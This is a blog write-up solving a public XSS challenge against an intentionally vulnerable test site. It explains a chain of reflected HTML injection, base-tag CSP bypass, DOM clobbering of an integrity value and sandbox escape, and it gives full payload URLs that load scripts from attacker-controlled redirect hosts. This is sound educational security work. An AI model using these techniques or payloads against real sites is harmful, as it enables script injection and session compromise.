Wacky XSS challenge write-up

Daniel Santos
9 min readNov 11, 2020

On November 4th BugPoc published a new challenge on their official Twitter account. The challenge objective was simple, using Google Chrome, find an XSS vulnerability, and pop-up a message box by calling alert(origin).

First steps

Navigating to the challenge page hosted at https://wacky.buggywebsite.com/, the challenger was given a “simple” single input page. By entering text in the provided textarea element and clicking on the Make Whacky! button, the application provided the user with a funny looking version of the very same entered text.

Figure 1: Challenge page basic usage

By using Google Chrome’s developer tools Sources tab, one could verify that the page loaded a javascript file named script.js. After reviewing the script contents the challenger could confirm it was responsible for two behaviors. The script would not allow the user to enter any of the following characters in the textarea element: &*<>%. That meant simply trying to inject HTML tags or entities would not work. Moreover, the script would create an iframe element whose source path would point to /frame.html?param=$val where $val was the text entered by the user.

Figure 2: Main page script.js file content

As the script.js file contained no other user-controllable input other than the value passed to the param query string parameter, I decided to move on and review the frame.html file.

Dissecting frame.html

By navigating to https://wacky.buggywebsite.com/frame.html an error page stating that the frame.html content could only be viewed inside an iframe tag was displayed.

Figure 3: Iframe requirement error

By inspecting the iframe.html file source code using the browser’s developer tools, one could confirm that the window.name global variable was used for confirming the page was loaded inside an iframe. In summary, if window.name was set to the string ‘iframe’ the page would render its contents, otherwise, the error page was displayed.

Figure 3: window.name value check

LiveOverFlow has an interesting video about the atypical persistence associated with the window.name global variable and how this can be exploited in some situations. The fundamental concept is that if one opens a browser tab and set the window.name variable value, the value is persisted during the tab’s lifecycle even if the user navigates to a site from a different origin. It is worth mentioning that this behavior is not in compliance with the current HTML specification, which explicitly states the following:

The name gets reset when the browsing context is navigated to another origin.

To continue assessing the iframe.html file, one could set the window.name value to ‘iframe’ manually using the browser’s interactive Javascript console.

Figure 4: Setting window.name value

After setting the window.name value and reloading the page, the error would be gone and some new messages were printed on the browser’s console.

Figure 5: iframe.html with window.name properly set

By reviewing the page source code once again, one could verify that the messages displayed on the console came from the dynamically loaded frame-analytics.js file.

Figure 6: analytics.js file contents

The code responsible for dynamically loading the frame-analytics.js file was the following.

Figure 7: Code branch responsible for loading analytics.js

If the fileIntegrity.value property was defined, the code would enter the branch responsible for dynamically loading the frame-analytics.js file. After that, the code branch would use fileIntegrity.value to set the integrity attribute of the script tag hosting the remote file’s code.

The fileIntegrity global variable was set a few lines of code before the previously mentioned branch and was made a property of the window object.

Figure 8: window.fileIntegrity assignment

That meant if an attacker could somehow control the fileIntegrity global variable contents, they could potentially bypass the remote file integrity check. More on that later.

The first vulnerability

Once the page’s expected behavior was known, one could start playing around with the param query string parameter. As the main page was the one responsible for filtering the user input, by accessing the iframe.html file directly, one could then input potentially unsafe characters like &, *, <, >, and %.
After a few basic tests, one could verify that the contents of param were being reflected in the page’s title. By closing the title tag one was then able to inject arbitrary HTML content on the page.

Figure 9: Reflected XSS

However, trying to use the reflection vulnerability was not enough to get arbitrary code execution, as the page’s Content Security Policy (CSP) prevented it.

Figure 10: Blocked by CSP

Bypassing CSP

In order to bypass CSP, one needs to first understand what are the page’s CSP rules. To do that, the challenger could have used the Network tab from Google Chrome’s developer tools. Inspecting the requests history, the CSP policy would be present in the content-security-policy header returned by the server.

Figure 10: CSP header

To evaluate the policy, the challenger could have used the CSP Evaluator tool as shown below.

Figure 10: CSP warning

The following warning would be presented by the CSP Evaluator:

Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ‘none’ or ‘self’?

The previous warning states that when the base-uri component is not present in the CSP and relative paths are in use, an attacker with control of the base path can bypass the CSP loading content from a remote location. The challenger could then verify the previously mentioned dynamically injected script tag used a relative path to load the frame-analytics.js file.

Figure 11: Relative file path

That meant one could use the reflection vulnerability to include a base tag to set the base path for all relative paths on the page. By doing that, the challenger could then force the page to load a file named frame-analytics.js from a remote location under their control.

Before forcing the page to load the remote file, the challenger would need to host the file somewhere. Moreover, as the page was being served using HTTPS, the remote file would also have to be served using SSL to prevent the browser’s mixed content protection mechanism from blocking the file from being loaded. One easy way of doing that is using BugPoc’s Mock Endpoint combined with Flexible Redirector.

For example, using Mock Endpoint the challenger could have created a simple remotely hosted javascript file containing a single alert() call.

Figure 12: Mock Endpoint Builder

After clicking the create button, the challenger could have used Flexible Redirector to create an SSL ready endpoint that would serve the hosted script file despite the path requested.

Figure 13: Flexible Redirector

With a remote file in place, the challenger could then craft a URL similar to the following and force the page to load its malicious file.

https://wacky.buggywebsite.com/frame.html?param=foobar%3C/title%3E%3Cbase%20href=%22https://z2wa4sk7db9p.redir.bugpoc.ninja/%22%3E

However, by doing so the challenger would be presented with yet another error message. The message would state that the integrity attribute of the remote loaded file was not valid.

Figure 14: Invalid SRI

To overcome this, the challenger would have to revisit the code responsible for setting the integrity attribute value (Figure 7). By debugging the code using the browser’s debugger, the challenger would be able to confirm that the window.fileIntegrity global variable was not set at the time of its conditional assignment. That meant it would always be set to its hard-coded default unless its value was previously defined by some other mean.

Figure 15: Undefined fileIntegrity variable

As the challenger already had a way of injecting arbitrary HTML content on the page, they could use the DOM clobbering technique to set the window.fileIntegrity variable value before the conditional assignment. One way of doing that is with an input tag with the id attribute set to “fileIntegrity” and its value attribute set to the desired checksum.

In order to calculate the required checksum value, the following single liner could be used.

Code snippet 1: SRI calculator

A real-life usage example is shown below.

Figure 16: Calculating SRI

In possession of a valid integrity value, the challenger could then craft a new URL with the malicious input tag and use the DOM clobbering technique. The URL would be similar to the following:

https://wacky.buggywebsite.com/frame.html?param=foobar%3C/title%3E%3Cbase%20href=%22https://y5nyqyhqq1k2.redir.bugpoc.ninja/%22%3E%3Cinput%20id=%22fileIntegrity%22%20value=%22S8S/VNmXuUuoIR6OhqBqwIiIkuCxXq31hCCHAHnicV8%3D%22%3E

Out of the sandbox

By using the newly crafted URL the attacker would be faced with a new defensive mechanism, iframe sandboxing. The error message below would be displayed in the browser’s console.

Figure 16: Sandbox error message

If an iframe contains the sandbox attribute and its value does not contain the allow-modals string, the code running inside the iframe won’t be able to open modal windows. The problem was that the challenge description clearly stated that the challenger needed to call alert(origin) to be successful.

Different ways to bypass this last protection mechanism exists, but this is how I did it. Using the previously mentioned techniques I forced the page to load a script file containing a single console.log(document.domain) statement. To my surprise, the iframe was loaded under the same domain scope as the parent page “wacky.buggywebsite.com”. After reviewing the code again I realized this was due to the fact that the script tag where my code was loaded had the crossorigin attribute set to anonymous. That meant my script’s credentials flag were set to ‘same-origin’, even when loaded from another origin. That meant I could access the window.top element (the main page’s window object). If the reader does not understand why this was possible, please refer to https://developer.mozilla.org/en-US/docs/Mozilla/Gecko/Script_security.

The final payload

Finally, I came up with the following code:

Code snippet 2: Exploit Javascript code

The exploit code above starts by reading the nonce attribute from the first script tag in the top window. After, the code overwrites the whole top window document with a single script tag using the same nonce value. There are many ways of writing functional exploit codes for this challenge, but I wanted to build an exploit that would bypass all the page defenses. The final malicious URL was the following.

https://wacky.buggywebsite.com/frame.html?param=foobar%3C/title%3E%3Cbase%20href=%22https://txta9ij4txt8.redir.bugpoc.ninja/%22%3E%3Cinput%20id=%22fileIntegrity%22%20value=%22705peddtXP7Zs%2BZ4YsYoIxMhE%2BNJNrS1u9nyZYg1w3s%3D%22%3E

By navigating to that URL using a tab with window.name set to ‘iframe’ the alert(origin) message box would pop up, followed by the challenge’s success message.

Figure 16: Success message

As a final step, to make this vulnerability chain exploitable, the challenger would need to construct a page that set the window.name variable appropriately and redirected the user to the malicious location. The following proof-of-concept HTML markup could be used.

Code snippet: Malicious page HTML markup

To host the malicious page the challenger could have used BugPoc’s Front-End PoC Generator, as I personally did. The final exploit is available here using the password saDlemmIng38.

Acknowledgments

I would like to congratulate the BugPoc for setting up such an entertaining, educative, and well-constructed challenge. Also, once again, I would like to thank LiveOverFlow for all the incredible free content published.

--

--